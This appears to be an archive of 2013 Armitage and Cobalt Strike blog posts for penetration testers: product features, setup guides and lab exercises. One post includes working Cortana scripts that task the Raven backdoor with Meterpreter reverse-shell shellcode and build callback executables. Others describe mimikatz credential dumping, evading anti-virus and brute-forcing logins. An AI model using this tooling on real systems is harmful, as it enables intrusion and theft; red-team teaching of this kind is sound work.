Archive for the ‘Armitage’ Category

h1

Getting the Most from Armitage’s Console

October 31, 2013

I have a philosophy. Armitage should make common actions simple and efficient. As soon as you need to break away into an uncommon action, use a console. Because the console is so important in Armitage’s use, I put a lot of effort into making Armitage a solid interface to use the Metasploit Framework console through. There’s a lot of shortcuts and other valuable tools in the Armitage console. I don’t think many folks are aware of these, so I’d like to take you through a few of them now.

To open a Metasploit Framework console tab in Armitage, go to View -> Console. You may open as many console tabs as you like.

To search for text use Ctrl+F. This shortcut will show a search box at the top of your console tab. Type something and press enter. The results will stand out in your console tab.

console

The Armitage console tab has the same tab completion you’d enjoy in the msfconsole program.

Armitage’s console tab keeps a command history. Use the up arrow to go back and the down arrow to go to the next command in the history.

To put a console tab in its own window, press Ctrl+W.

To close a tab, press Ctrl+D.

You may rename a console tab to. Right-click on the X in the tab and select rename. This is a great way to keep track of tabs dedicated to a special purpose.

To interact with a session you could type sessions in a console tab or just press Ctrl+I. This shortcut will open a dialog where you may choose a session to interact with.

To clear the edit box in a console tab, press Escape.

To increase the font size in a console, use Ctrl+Plus. To decrease the font size use Ctrl+MinusCtrl+Backspace resets the font to the default. This feature is wonderful for demonstrations.

Armitage logs each console tab. Go to View -> Reporting -> Activity Logs to open the logs folder.

h1

What’s in a Team Server?

September 19, 2013

Clients (like Armitage) interface with the Metasploit Framework through its Remote API. The Remote API is a way for clients to call functions in the Metasploit Framework’s RPC server. To pass different data types to/from the Metasploit Framework, clients use the MessagePack object serialization format.

Because clients may interface with the Metasploit Framework in this way, I’m sometimes asked… why can’t I connect Armitage to the Metasploit Framework RPC server directly? Worse, I’m sometimes asked for support by enterprising users who skipped the documentation and tried to wing setup on their own.

On this topic–if you want to stand up a team server, do consult the documentation. The process changed several times since I introduced this capability in Armitage. The correct way to stand up a server is to use the teamserver script that ships with the Armitage Linux package. This script starts msfrpcd, generates an SSL cert for you, and stands up the team server. To use it:

./teamserver [your external IP address] [shared password]

Now, let’s get back to the topic: Why do we have a team server?

The Metasploit Remote API is great, it allows one to query and execute modules. It also has an API to interact with a console. To build a collaboration environment on top of the Metasploit Framework, there are a few gaps. This is where the team server comes in. Armitage’s team server is a wrapper for the Metasploit RPC server. The team server adds functions for real-time communication, data sharing, and session sharing to the Metasploit Framework’s RPC server.

armitage_arch_white

Here’s a little on what it does:

1. The team server is the center of Armitage’s ability to share sessions. Through it, I force any calls to meterpreter.read and meterpreter.write through a session multiplexer. This code adds Meterpreter commands to a queue with a tag. When the command executes, the multiplexer uses the tag to identify which client to send the output to. All clients that interact with Meterpreter, through the team server, do so with this multiplexing logic in place. This logic is what allows Cortana bots and Armitage/Cobalt Strike users to transparently share sessions.

2. Shell sessions are a different story. All commands in a shell session depend on the current working directory and I decided, early on, that it would be dangerous to transparently share a shell. For shell sessions, Armitage provides an API to request a lock on a session and an API to release the lock. If the Armitage client gets disconnected (for whatever reason), the team server automatically releases the client’s locks. If one of your teammates tries to interact with a shell that you own, they’ll get a message that states you are using the shell.

3. Early versions of the Metasploit Framework Remote API included calls to deal with the Metasploit Framework’s database. These calls were added by Ryan Linn for his DEF CON 19 talk, Multi-Player Metasploit. In November 2011, there was discussion about removing these calls altogether. The argument was that these calls were never documented in the Metasploit Remote API. To the best of my knowledge, if these calls are still present, they’re considered deprecated and could go  away at any time. To give Armitage clients access to the Metasploit Framework’s data, the team server emulates these database calls by talking to the database directly.

Emulating these database calls in the team server greatly improved Armitage’s performance. First, I saved a pass through Ruby on Rail’s active record cauldron of magic. I also save the CPU time to serialize data to MessagePack and unwrap it again. But, most importantly, controlling this code allowed me to design a scheme where the client communicates a hash of what it knows. The server uses the hash to decide if anything changed. If nothing changed, the data is not sent. This change made the Armitage team server infrastructure scale well to many clients with a lot of hosts.

4. The team server also provides a few random functions not present in the Metasploit Remote API. The team server offers a way to send files to or get files from the team server’s system. This is important as many Metasploit Framework modules have options that reference files local to the Metasploit Framework. The team server also provides calls that make real-time chat in the event log possible.

So, the next time you’re interested in connecting Armitage to a remote msfrpcd directly, beware that the team server exists for a reason. If you’d like to learn more about the team server, I published a paper a few years ago: Network Attack Collaboration: Sharing the Shell. The information in this blog post updates the information in the paper, but the paper still has a lot of good information.

h1

Armitage and Cobalt Strike 1.47 Released

August 21, 2013

Armitage and Cobalt Strike 1.47 are now available. This release improves many aspects of the workflow in both Armitage and Cobalt Strike. Here are some of the highlights.

Beacon

Type ‘meterpreter’ in a Beacon console to spawn a Meterpreter session and tunnel it through your Beacon in one fell swoop. This gives you the power of Meterpreter and its features with Beacon’s communication flexibility.

You now have the option to specify a jitter factor with Beacon’s sleep command. This jitter factor will vary the sleep time after each check in to make your Beacon harder to see.

You may now use Beacon to manage long term, low and slow exfil. Beacon manages this by delivering files one chunk per checkin. The speed of the download is up to you, just change the sleep time.

Web Drive-by Attacks

The system profiler now annotates 64-bit Windows and a 64-bit Internet Explorer with a *64. This should help your decision making process, when picking the right attack.

Cobalt Strike’s Java Applet attacks now inject shellcode through a Windows 64bit JVM.

CVE-2013-2460 is now part of the Cobalt Strike Smart Applet attack. This makes the Smart Applet attack effective up to Java 1.7u21. The AppletKit in the Cobalt strike arsenal has the source code to these latest Java bits too.

PsExec with PowerShell

Version 4.7 of the Metasploit Framework includes a psexec_psh module and Cobalt Strike supports it. This variation of PsExec uses PowerShell to inject your listener into memory without creating an artifact on disk. This is a great way to sneak past anti-virus on modern Windows systems.

Mimikatz

Both Armitage and Cobalt Strike gained a menu item to load mimikatz and run its wdigest command. Mimikatz recovers the plaintext password of users who have interactively logged on to a Windows system since its last reboot. This interface to mimikatz also adds the credentials to the database. ([host] -> Meterpreter -> Access -> Dump Hashes -> wdigest)

mimikatz

Reporting

This Cobalt Strike release gives you an option to mask email addresses in the Social Engineering Report. You also have the option to mask passwords in the Hosts Report too.

Kali Linux users–you have a reason to cheer too. This update brings back the close button on Armitage and Cobalt Strike’s dialogs. These updates also fix several bugs, tweak several options, and make both programs more robust and faster.

To learn more about what’s new in Armitage 1.47, consult the changelog. .Armitage is available as a direct download from http://www.fastandeasyhacking.com/

To learn more about what’s new in Cobalt Strike 1.47, read the release notes. A 21-day trial of Cobalt Strike is available at http://www.advancedpentest.com. Licensed users simply need to run the update program to get the latest.

h1

The Origin of Armitage’s Hail Mary Mass Exploitation Feature

July 17, 2013

Several times now, an author has introduced Armitage, and the main value add to the hacking process that they emphasize is the “devastating” Hail Mary attack. I’m most proud of Armitage’s red team collaboration capability–it’s why I built the tool in the first place. The Hail Mary attack? Meh. That said, I’d like to share with you how the Hail Mary attack came to be.

I released Armitage in late November 2010. In a December 2010 PaulDotCom episode, Larry reviewed Armitage. I’m a PaulDotCom fan and so I was very excited to watch this. He tried out an Armitage menu that launched the now defunct db_autopwn and a lot of the conversation in that review centered around the poor behavior of that particular feature.

For those that don’t remember, db_autopwn is a former Metasploit Framework feature to automatically launch exploits against everything in the database. The feature was never very smart though. You could opt to launch exploits based on open service or imported vulnerabilities. If you launched by open service, db_autopwn would unleash every exploit that matched each open service. It didn’t attempt to order the exploits or stagger them in a smart way, it just launched them. More amusingly, it didn’t discriminate at all, the db_autopwn feature would launch exploits for all operating systems against each open service.

The Armitage menu item to launch db_autopwn was called the Hail Mary. Why? Because, in my mind, you would only use db_autopwn as a desperate measure.

For all of the things brought up during the review, db_autopwn’s weaknesses were the thing I decided to address right away.

I opted to make an intelligent auto-exploitation feature. The algorithm is pretty basic:

  1. For each host, map open services to Metasploit Framework exploits
  2. Remove exploits that do not meet a minimum reliability criteria
  3. Remove exploits that do not match the host’s operating system
  4. Sort the exploits by reliability first and date of release second. The newest and most reliable exploits should fire first.
  5. Launch it!

There’s no real magic to the above algorithm. Even though this algorithm is smarter than db_autopwn, I kept the name Hail Mary to reflect my feelings on this kind of attack. The Hail Mary is not a precision strike. It’s a blunt instrument. It’s loud and there’s not a lot of room for configuration. Push the button and see what happens.

My attack process doesn’t have a place for a Hail Mary-like feature, but I’ve heard some people use it to test their IDS or create noise. Here’s an old video with this attack in action:

db_autopwn was removed from the Metasploit Framework in late 2011. Funny, I’ve run into people who have kept a second install of Metasploit around just to continue to have access to this feature.

With the constant emphasis on the Hail Mary, maybe there are more folks who miss db_autopwn than I thought?

h1

Red Team Data Collection

June 13, 2013

In 2011, I participated in an exercise. The exercise ran for 60 hours straight, forcing the red team to work in shifts. The event was a typical red and blue exercise. Red team attacks. Blue teams defend. Blue teams were scored on their ability to protect the confidentiality, integrity, and availability of tokens (text files with a random string) they were required to store on their systems.

This particular year, we were very successful. We compromised all the blue teams and captured a token from each of them. Late into the event though, while we were focusing on our last of three hard targets, one of the developers of the scoring system ran into the room asking for proof about one of the tokens. I knew we had captured it, but we had no proof and this particular file ended up a point of dispute right until the end of the event.

Activity Logging

After that, I added logging to Armitage. Since September 2011, Armitage and by extension Cobalt Strike log every open console tab–period. These logs are created and stored local to the Armitage and Cobalt Strike applications.

Armitage stores these files in ~/.armitage

Cobalt Strike stores them in ~/.cobaltstrike

These logs are automatically organized by date YYMMDD, team server you’re connected to, and host. The all folder contains logs for files that apply to multiple hosts (or no hosts at all).

Cobalt Strike and Armitage also capture all of their screenshots in this way too. Screenshots and Webcam pictures are saved to ~/.cobaltstrike/[YYMMDD]/[user@server]/[host]/Screenshots. At the end of an engagement, if you’re ever looking for a file, now you know where to look.

Conveniently, these logs are linked via the View -> Reporting -> Activity Logs menu.

Centralized Activity Logs

One problem with this scheme, especially in a team context is these logs are scattered across multiple systems. One solution: create a file share, mount it on all the red team systems, and configure Armitage or Cobalt Strike to store the files somewhere on this share.

Here’s how to do this:

1) Go to Cobalt Strike -> Preferences (or Armitage -> Preferences)

2) Find the armitage.log_data_here.folder. Double-click the value column.

3) Type the path to the share. Consider adding a subfolder for the current red team member to the scheme.

4) Press Save.

Voila, your logs will now all go to the centralized location–suitable for offline analysis by someone else.

Quick Screenshots

Sometimes during an exercise or a penetration testing engagement, one of your team members will come across something interesting. The old adage is–make sure you take a screenshot or it doesn’t count.

During an exercise, I’m almost always running screen recording software (Screenflow on MacOS X is awesome) with sound recording turned off. I’m able to store 1 day of work in about 1GB. This is the ultimate solution to make sure you capture everything.

Cobalt Strike and Armitage help you out too though. Press Ctrl+T to quickly take a screenshot of the current tab. Cobalt Strike and Armitage will save the exact state of the open tab to [log folder]/[YYMMDD]/[user@server]/screenshots folder. The name of the file will show the time the screenshot was taken and the name of the tab. That’s it. One keyboard shortcut and you always have a screenshot.

The nice thing about this feature is you can easily copy and paste these images to your reports and they do not need any editing. They also look great on slides.

Data Export

Finally, let’s talk about all the data stored in the database shared by Cobalt Strike and the Metasploit Framework. You can export this tool. Go to View -> Reporting -> Export Data.

Armitage dumps XML and TSV files of all relevant engagement data to [log folder]/[user@server]/artifacts. Here’s a list of the files created and what they contain:

  • credentials.xml/tsv – the credentials in the database
  • hosts.xml/tsv – the hosts in the database (including OS information)
  • loots.xml/tsv – the loots in the database (artifacts collected and stored by post modules–this file contains metadata about each of these. The actual loot is stored in the ~/.msf4 folder of the system running the Metasploit Framework)
  • services.xml/tsv – the services in the database
  • sessions.xml/tsv – a list of sessions that were opened, which exploit was used to open them, and how long the sessions were open for
  • timeline.xml/tsv – a list of engagement events that happened from the perspective of Armitage and Cobalt Strike
  • vulnerabilities.xml/tsv – the vulnerabilities from the database

Cobalt Strike creates a few other files, these are:

  • applications.xml/tsv – a list of applications discovered by the system profiler
  • clientvulns.xml/tsv – a mapping of applications discovered by the system profiler to exploits in the Metasploit Framework
  • spearphishes.xml/tsv – information about each of the phishing messages sent, who they were sent to, and the token appended to any URLs embedded in the phishing messages (for cross-referencing back to the user who clicked–if you’re directing people to a non-Cobalt Strike hosted URL. Otherwise Cobalt Strike cross-references this information for you.)
  • webkeys.tsv/xml – a lot of keystrokes captured by Cobalt Strike’s website clone tool
  • weblog.tsv/xml – a log of activity from the Cobalt Strike web server

As an added bonus, the data export feature also creates a screenshot of the targets area, whether it’s in the graph view or table view. This too is suitable for copying and pasting into a report.

With these features in mind, it’s pretty easy to keep track of an engagement and retrace your team’s steps whether you’re using Armitage or Cobalt Strike.

h1

Metasploit 4.6 – Now with less Open Source GUI

April 11, 2013

Last week, I received an email from Tod B. at Rapid7 stating that the next binary installer of Metasploit would ship without Armitage and msfgui. Metasploit 4.6 drops both programs. According to Tod, the Metasploit Framework repository on Github will also drop both projects in the near future.

The reason given is that Rapid7 does not want to confuse users about which products they do and do not support.

When I released Armitage in November 2010, I had one simple goal–release something that would get into BackTrack Linux. I didn’t expect that it would make it into the Metasploit Framework. I even had a license scheme that prohibited it (GPLv2). HD Moore approached me and asked me to change my license to BSD. If I agreed to change my license, HD would ship Armitage with the Metasploit Framework. I never expected this and I always saw this distribution as a privilege, not a right.

Thank you HD and Rapid7 for making Armitage part of the Metasploit Framework for the past two years.

For the thousands of Armitage hackers out there, I’d like to clarify how this affects you. The short answer… this isn’t a big deal.

  • I maintain Armitage and will continue to do so. I average one release every six weeks or so. In fact, I pushed a release yesterday.
  • I do not have an automated update process for Armitage. You’ll have to download it from its homepage. You can signup to get an email notification when a new Armitage update is available.
  • Armitage still works out of the box with a properly installed Metasploit environment. If you have Metasploit Community Edition setup, you can download Armitage, extract it, and run it. It will work like it always has.
  • You can use Armitage with Kali Linux as well.
  • If you’d like to support my work, Cobalt Strike is the way to do it. Check that it supports your needs first (I’m a value in exchange for value kind of hacker). If Cobalt Strike isn’t for you, but you still love Armitage, a simple thank you is good too.

The Armitage homepage is still http://www.fastandeasyhacking.com/

h1

Missing in Action: Armitage on Kali Linux

March 13, 2013

As you may know, the highly anticipated Kali Linux is now available. If you’ve fired it up, you may notice it’s missing a familiar tool. Armitage is not present. The Kali Linux team added an Armitage package to its repository today. To get it:

apt-get install armitage

Before you start Armitage, make sure the postgresql database is running:

service postgresql start

If you get a missing database.yml error, type:

service metasploit start

Update 22 May 13 – The Getting Started with Armitage and the Metasploit Framework (2013 Edition) is now up to date with instructions for Kali Linux. I recommend giving it a read.

h1

HOWTO Integrate third-party tools with Cortana

March 13, 2013

One of the goals of Cortana is to give you the ability to integrate third-party tools and agents into Armitage and Cobalt Strike’s red team collaboration architecture. Last year, I was able to put the base language together, but the API had a major gap. There was no sanctioned way for Cortana bots to communicate with each other. Without this ability, I could not integrate a tool in the way this diagram envisions:

integratepqs

The latest Armitage and Cobalt Strike update addressed this gap by adding publish, query, and subscribe primitives to the Cortana API. Any script may publish data that other scripts (even across the team server) may consume. The query function makes it possible for any script to consume published data, in the order it happened. Optionally, scripts may share a “cursor”, so only one script may consume any published item or scripts may each provide their own cursor allowing each script to consume all published items in the order they’re made available. Scripts also have the option to subscribe to data. The subscribe function has Cortana periodically poll the team server, query data, and fire local events when new data is available. These three primitives are very powerful tools.

Let’s Integrate Raven

In the Cortana github repository is a Windows backdoor called Raven. Raven regularly polls a web server for taskings. These taskings are shellcode that Raven injects into a new notepad.exe proces. With today’s update, Raven gets a user interface and provides an example of integrating third-party agents into Armitage and Cobalt Strike through Cortana.

Here’s how it works

One system hosts the web server that Raven communicates to. To bridge Raven into the red team collaboration architecture, this system runs a server.cna script. This script watches Raven checkins by tailing the web server’s access.log file. When someone connects to the web server, it publishes information that clients may consume. Likewise, this server script subscribes to any commands that clients have published. When a client publishes a command (containing a URI and shellcode), this script creates that file on the web server so the Raven agent can download this task when it checks in next.

Here’s the code to server.cna:

global('$WEBROOT $WEBLOG');

# where are your web files served from?
$WEBROOT = "/var/www/";

# where is your Apache2 access.log?
$WEBLOG = "/var/log/apache2/access.log";

# this event fires when a command is published by client.cna
on raven_command {
	local('$file $shellcode $handle');
	($file, $shellcode) = $1;

	if ($shellcode eq "") {
		deleteFile(getFileProper($WEBROOT, $file));
	}
	else {
		$handle = openf("> $+ $WEBROOT $+ $file");
		writeb($handle, $shellcode);
		closef($handle);
	}
}

# Cortana does not like blocking. If you're going to perform an action that blocks, use
# &fork to create a new thread that performs the blocking activity. You can communicate
# with the rest of your script by firing a local event from your fork. Or you can make
# info available globally by publishing information from your fork.
fork({
	local('$handle $text $host $uri $status $size');

	# we're going to watch the weblog with tail. *pHEAR*
	$handle = exec("tail -f $WEBLOG");

	while $text (readln($handle)) {
		if ($text ismatch '(.*?) - - .*? \\"GET (.*?) HTTP.1..\\" (\\d+) (\\d+) .*') {
			($host, $uri, $status, $size) = matched();

			# publish information on our checkin for client.cna to consume
			publish("raven_checkin", %(host => $host, uri => $uri, status => $status, size => $size));
		}
	}
}, \$WEBLOG);

# subscribe to any commands client.cna publishes. Check every 10s for new ones.
subscribe('raven_command', '', '10s');

Thanks to server.cna, we now have a feed of data that raven clients may consume. We also have a way to publish data for the raven agent to act on. Now, we need a client. The client should subscribe to commands that server.cna publishes and present this information to the user. The client should also give the user a way to task the Raven agent. And, the client should give the user a way to configure a Raven DLL or executable.

Fortunately, Cortana was always good at this part. I took a lot of the GUI conventions that exist in Armitage and made them simple to recreate from a script. Here’s what the client.cna I wrote looks like:

raven

Here’s the client.cna script:

# create a popup for the Raven manager, View -> Raven
popup view_middle {
	item "&Raven" {
		# &spawn is a special function. It accepts a function as an argument
		# and runs it in a new Cortana environment. This is like "new Object()"
		# in other programming languages. I can now have multiple Raven instances
		# at one time. They'll work independently of each other because of the
		# isolation &spawn provides.
		spawn(&raven_manager);
	}
}

# a function to task our agent...
sub task {
	local('$uri $host $port $shellcode');
	$uri = table_selected_single($1, "uri")[0];
	($host, $port) = split(":", prompt_text("listener host:port"));

	# tell the framework to generate shellcode for us
	$shellcode = generate($2, $host, $port, %(), "raw");

	# publish a command for server.cna to act on
	publish("raven_command", @($uri, $shellcode));
}

# define popups for our raven manager
popup raven_tasks {
	item "Meterp TCP" {
		task($1, "windows/meterpreter/reverse_tcp");
	}
	item "Meterp HTTP" {
		task($1, "windows/meterpreter/reverse_http");
	}
	item "Meterp HTTPS" {
		task($1, "windows/meterpreter/reverse_https");
	}
	separator();
	item "Clear" {
		local('$uri');
		$uri = table_selected_single($1, "uri")[0];
		publish("raven_command", @($uri, ""));
	}
}

sub raven_manager {
	global('$table %checkins $id');

	# fired when server.cna publishes a checkin notice for clients to consume
	on raven_checkin {
		# store our most recent checkin
		local('$key');
		$key = $1['host'] . $1['uri'];
		%checkins[$key] = $1;
		%checkins[$key]['last'] = "now";
		%checkins[$key]['time'] = ticks();

		# sets our table rows
		table_update($table, values(%checkins));
	}

	# update our Raven table every 1s.
	on heartbeat_1s {
		local('$host $data');
		foreach $host => $data (%checkins) {
			$data['last'] = ((ticks() - $data['time']) / 1000) . 's';
		}

		table_update($table, values(%checkins));
	}

	# fired when user clicks "Task Raven" or "Raven EXE" buttons
	on tab_table_click {
		if ($3 eq "Export EXE") {
			generate_raven(script_resource("raven.exe"));
		}
		else if ($3 eq "Export DLL") {
			generate_raven(script_resource("raven.dll"));
		}
	}

	# stop any ongoing activity related to this spawned cortana instance when the tab closes
	on tab_table_close {
		quit();
	}

	# display a tab with a table showing our raven checkins...
	$table = open_table_tab("Raven", $null,
				@('host', 'uri', 'status', 'size', 'last'), # columns
				@(), 					    # rows
				@("Export DLL", "Export EXE"), 		    # buttons
				"raven_tasks", 				    # popup hook
				$null);					    # no multiple selections

	# generate a random id that acts as a cursor identifier for all raven checkins
	$id = rand(ticks());

	# query all checkins so far and add them to our data store
	foreach $checkin (query("raven_checkin", $id)) {
		$checkin['time'] = ticks();
		$checkin['last'] = "unknown";
		%checkins[$checkin['host'] . $checkin['uri']] = $checkin;
	}

	# subscribe to all future checkins... check for changes every 5s
	subscribe("raven_checkin", $id, "5s");
}

# this function patches raven.exe and raven.dll with user provided info
# it will look for 1024 A's and patch our strng in there. It then saves
# this patched function where ever the user would like it.
sub generate_raven {
	local('$urls $handle $data $index $saveto');
	$urls = prompt_text("Which URLs should I call back to?\ne.g., http://host1/file1, http://host2/file2, etc.");
	if ($urls eq "") {
		return;
	}
	$urls = join(',', split(',\s+', $urls));

	$saveto = prompt_file_save("");
	if ($saveto eq "") {
		return;
	}

	$handle = openf($1);
	$data = readb($handle, -1);
	closef($handle);

	$index = indexOf($data, 'A' x 1024);

	$urls .= "\x00";
	$data = replaceAt($data, "$[1024]urls", $index);

	$handle = openf('>' . $saveto);
	writeb($handle, $data);
	closef($handle);

	show_message("Saved");
}

How to try it…

To use these scripts, simply follow these steps on a BackTrack Linux system:

  1. In a terminal, start the web server: service apache2 start
  2. Make sure you have the latest Armitage release and start it
  3. Go to View -> Script Console
  4. Type: load /path/to/server.cna
  5. Type: load /path/to/client.cna
  6. Go to View -> Raven
  7. Press Export EXE and create a Raven executable that points to your BackTrack system (e.g., http://your ip/foo)
  8. Run this EXE on a Windows target
  9. Start a multi/handler for windows/meterpreter/reverse_tcp on port 4444
  10. When the agent checks in, right-click it in the Raven tab, and task it to give you a Meterpreter TCP session on your ip:4444

The beauty of this system is that I have to create client.cna and server.cna once. Now, any number of users connecting to my team server (locally or remotely) may load client.cna. They now have the ability to control this Raven agent managed by server.cna for me.

This integration doesn’t have to apply just to agents. If there’s a tool with an RPC interface, you may create a server.cna script that exposes its capabilities to a client.cna script that you write.

This was always part of the vision behind Cortana. Unfortunately, one year ago, the team server didn’t have the primitives to support a publish, query, subscribe API. It does now.

h1

Getting Started with Armitage and the Metasploit Framework (2013)

February 6, 2013

So, I just realized there isn’t a modern tutorial on how to start Armitage and take advantage of it. There’s the documentation, but my documentation tries to cover every corner case and it’s not friendly to the novice who wants to try it out quickly. I do not know of a getting started guide that is up to date with the latest Armitage conventions. This blog post is my attempt to correct this oversight.

22 May 2013 – I’ve updated this tutorial to state how to use Armitage with Kali Linux, since BackTrack Linux is no longer supported.

22 Sept 2013 – Added instructions to make Kali Linux use Java 1.7 by default. The Java 1.6 shipped with Kali causes graphical glitches.

16 April 2014 – This blog post is still good advice. If you’re looking to get started with Armitage, you’re reading the most modern and complete guide.

What is Armitage?

Armitage is a graphical user interface for the Metasploit Framework. At first glance, it may seem that Armitage is just a pretty front-end on top of Metasploit. That’s not quite true. Armitage is a scriptable red team collaboration tool. It has a server component to allow a team of hackers to share their accesses to compromised hosts.

It’s also possible to write bots that connect to this team server and extend Armitage with scripts written in a language called Cortana. This Cortana piece was funded by DARPA’s Cyber Fast Track program. There’s a lot here.

Armitage (Fast and Easy Hacking)

Multi-Player Metasploit with Armitage

If you aren’t familiar with the Metasploit Project, it’s an open source collection of safe and vetted exploits. Once an exploit makes it into the Metasploit Framework, it’s immediately available to its ~250K users. The Metasploit Framework isn’t just exploits though, it’s an integration point for offensive capabilities that simply work together. It’s also very easy to hook your own stuff into it.

There are several programs that build on the Metasploit Framework and take advantage of it. For example, Rapid7, the company that employs Metasploit’s founder and its core team, has a line of penetration testing products built on the framework. The subject of this tutorial is the open source Armitage GUI, which I wrote. I also develop Cobalt Strike, which adds threat emulation tools to Armitage.

If you work in security or have an interest in it, you owe it to yourself to spend some time learning about Armitage and the Metasploit Framework and how to use them.

Let’s dive in.

Starting Kali Linux

The best way to start playing with Armitage is to download Kali Linux and run it in a virtual machine. For this guide, you should set your virtual machine to NAT networking. This is necessary because in a moment, I will ask you to download a target virtual machine and set it up.

To login to Kali Linux, use the username root, password toor. To request an IP address via DHCP, type dhclient. To start X Windows, type startx.

Use Java 1.7

Kali Linux ships with Java 1.6 and Java 1.7. Java 1.6 is the default though and for some people–this version of Java makes their menus stick or draw slowly. For the best Armitage experience, you should use Java 1.7. Fortunately, it’s one command to change the default.

If you have 32-bit Kali Linux, open a terminal and type:

update-java-alternatives --jre -s java-1.7.0-openjdk-i386

If you have 64-bit Kali Linux, open a terminal and type:

update-java-alternatives --jre -s java-1.7.0-openjdk-amd64

Installing Armitage

Your version of Kali Linux may not include Armitage. To install it, type:

apt-get install armitage

Next, you need to start the Metasploit service. Armitage does not use the Metasploit service, but starting it once will setup a database.yml file for your system. This is a necessary step. You only need to do this once:

service metasploit start
service metasploit stop

Updating the Metasploit Framework

Use the msfupdate command to update the Metasploit Framework to the latest. Armitage is included with the Metasploit Framework, so it will update too (not any more).

Starting Armitage

Before you can use Armitage, you must start the postgresql database. This does not happen on boot, so you must run this command each time you restart Kali:

service postgresql start

To start Armitage in Kali Linux, open a terminal and type:

armitage

Armitage will immediately pop up a dialog and ask where you would like to connect to. These parameters only matter if you want to connect to an Armitage team server. Since we’re getting started, we don’t care.  Just press Connect.

armitage connect

Next, Armitage will try to connect to the Metasploit Framework. Big surprise, the Metasploit Framework is not running. Armitage will realize this and it will ask you if you would like it to start Metasploit for you. The correct answer is Yes. Press this button and wait.

armitage_ask

You will see connection refused messages for up to a few minutes. If this is your first time starting the Metasploit Framework, this may take literally a few minutes. The Metasploit Framework is the largest Ruby codebase out there and it takes time to load all of its modules for the first time. Be patient.

If all went well, you will see a GUI that looks like this:

armitage_gui

You’re now ready to use Armitage.

A Target

Every attacker needs a target. Since you’re just starting out, I recommend that you set up a target virtual machine made for learning the Metasploit Framework. If you need such a target virtual machine, look no further than Metasploitable 2.

Metasploitable 2 is a virtual machine maintained by the Metasploit project team. It’s an Ubuntu server with a lot of services and vulnerabilities.

You can download Metasploitable 2 at:

http://sourceforge.net/projects/metasploitable/files/Metasploitable2/

Set this virtual machine up. Make sure you set the networking for this virtual machine to NAT or host-only. You do not want to expose this virtual machine to the internet.

To learn its IP address, login as user msfadmin, password msfadmin when this virtual machine starts up. Type ifconfig to see the network configuration for this virtual machine. Once you have an IP address for this system, you’re now to ready to attack it.

Now, go RTFM

The Metasploit Framework has a lot of jargon and Armitage has a lot of conventions associated with it. Now that you’re up and running, I recommend that you take a few minutes and read the Armitage manual. You can skip the Getting Started portion if you like. Pay special attention to section 1.4 which details some of the vocabulary around the Metasploit Framework. I also recommend that you read the User Interface Tour, Exploitation, and Post Exploitation chapters.

The Armitage manual is not a tutorial, but it will help orient you around the tool. You want this orientation, because in the next part of this guide, you will attack the Metasploitable Virtual Machine that you setup a moment ago.

Armitage Labs

I spend a lot of time teaching folks how to use Armitage and its big brother Cobalt Strike. To start out right, I have my students go through several labs designed to help them experience the conventions in the Metasploit Framework first hand. Work through these labs and you will start to develop a mental model of what the Metasploit Framework can do and how it’s organized.

Scan

  1. Go to Hosts -> Nmap Scan -> Intense Scan, all TCP ports
  2. Type the IP address of the Metasploitable Virtual Machine
    Wait for the scan to complete. It will take some time.
  3. Right-click the Metasploitable host and select Services

Exploit

  1. Go to Attacks -> Find Attacks
  2. Wait for Attack Analysis complete dialog.
  3. Right-click the Metasploitable host and try various items from the Attack menu until one works. Something is bound to  work.Right-click the Metasploitable host and select Shell 1 -> Interact. If you have a Meterpreter 1 menu, then keep searching. Meterpreter is a great post-exploitation tool, but we’re not ready to talk about it yet. Find an exploit that yields a shell.
  4. Type: whoami and press enter in the new Shell 1 tab.

Brute Force VNC

  1. Select the Metasploitable host in the target area
  2. Navigate to auxiliary -> scanner -> vnc -> vnc_login in the module browser. Double-click this module.
  3. Press Launch
  4. Open a Terminal and type: vncviewer metasploitable IP:5900.  Use the password vnc_login helped you discover to connect.

Tomcat Manager Deploy Exploit

  1. Select the Metasploitable host in the target area
  2. Navigate to auxiliary-> scanner -> http -> tomcat_mgr_login in the module browser. Double-click this module.
  3. Double-click the RPORT value and change it to the correct port. Take a look at the services on the system. Which port is running Apache Tomcat?
  4. Press Launch
  5. Navigate to exploit -> multi -> http -> tomcat_mgr_deploy in the module browser. Double-click this module
  6. Change RPORT, USERNAME, and PASSWORD to their correct values. Step 4 should have yielded a valid username and password for you.
  7. Press Launch

Brute Force

Metasploit modules ending with _login are usually able to brute force credentials. Try mapping one of the open services to its login module and follow these steps:

  1. Type _login in the search box below the module browser
  2. Launch the *_login module you’re interested in. Type _login in the box below the module browser to search for these modules
  3. Find the USER_FILE option and double-click the black square. The black square indicates that there is a helper dialog to set this option
  4. Double-click on the wordlists folder
  5. Choose the unix_users.txt file
  6. Set the PASSWORD option to something silly, such as password. Or, set PASS_FILE to a juicy looking file (but then expect this to take a long time)
  7. Press LaunchHow many weak accounts did you find?

Postgres Ownership

Not all vulnerabilities will yield a shell. That’s OK. Sometimes there are other great opportunities:

  1. Try to brute force credentials to the postgres database running on the system
  2. Use the results of step 1 to read the contents of /etc/passwd through the postgres database. Hint: search for any postgres related modules. There may be one that can help you.

Where to go from here?

If you made it this far, you’ve started Armitage, started a target, and had a chance to experience these tools first hand. If you’d like to learn more about Armitage, I recommend that you watch the free Armitage and Metasploit Training Course at ethicalhacker.net.

If you’re interested in a deep dive on the Metasploit Framework, the standard reference is the Metasploit Unleashed Course. If you’d like a book, read Metasploit: The Penetration Tester’s Guide, and if you like videos, I recommend Vivek’s Security Tube Metasploit Framework Expert Series.

If you’re a professional penetration tester and Armitage piques your interest, I would also like to point you towards Cobalt Strike. Cobalt Strike is a toolset for executing a targeted attack against a modern enterprise. Despite the popular myth, hacking isn’t easy. If you’re trying to break into a modern enterprise, there are problems you have to solve. Cobalt Strike is my collection of tools to get you into a network and take advantage of your foothold.

Enjoy

h1

Armitage – Host Labels for Better Team Pen Testing

January 23, 2013

One of the things I offer is the Advanced Threat Tactics with Cobalt Strike course. The best part of this course is the end exercise. I split students up into teams, give them goals, and watch them apply what they learned to get a foothold in a network, spread from that point, and sift through data. This class is a great source of feedback for me.

Last time I taught, several students asked for the ability to label hosts. They simply wanted to say “this is a mail server”, “this is a domain controller”, etc. in a way that all their teammates could digest.

I’ve had similar suggestions in the past, but having a dialog allowed me to turn the suggestion into something actionable pretty quickly.

Today’s Armitage update adds host labels. A host label is a small user-defined note attached to a host. Right-click a host, go to Host -> Set Label to set it. All team members will see the same labels and anyone can update a host’s label.

The graph view displays the label underneath the host. The table view has a column for labels now.

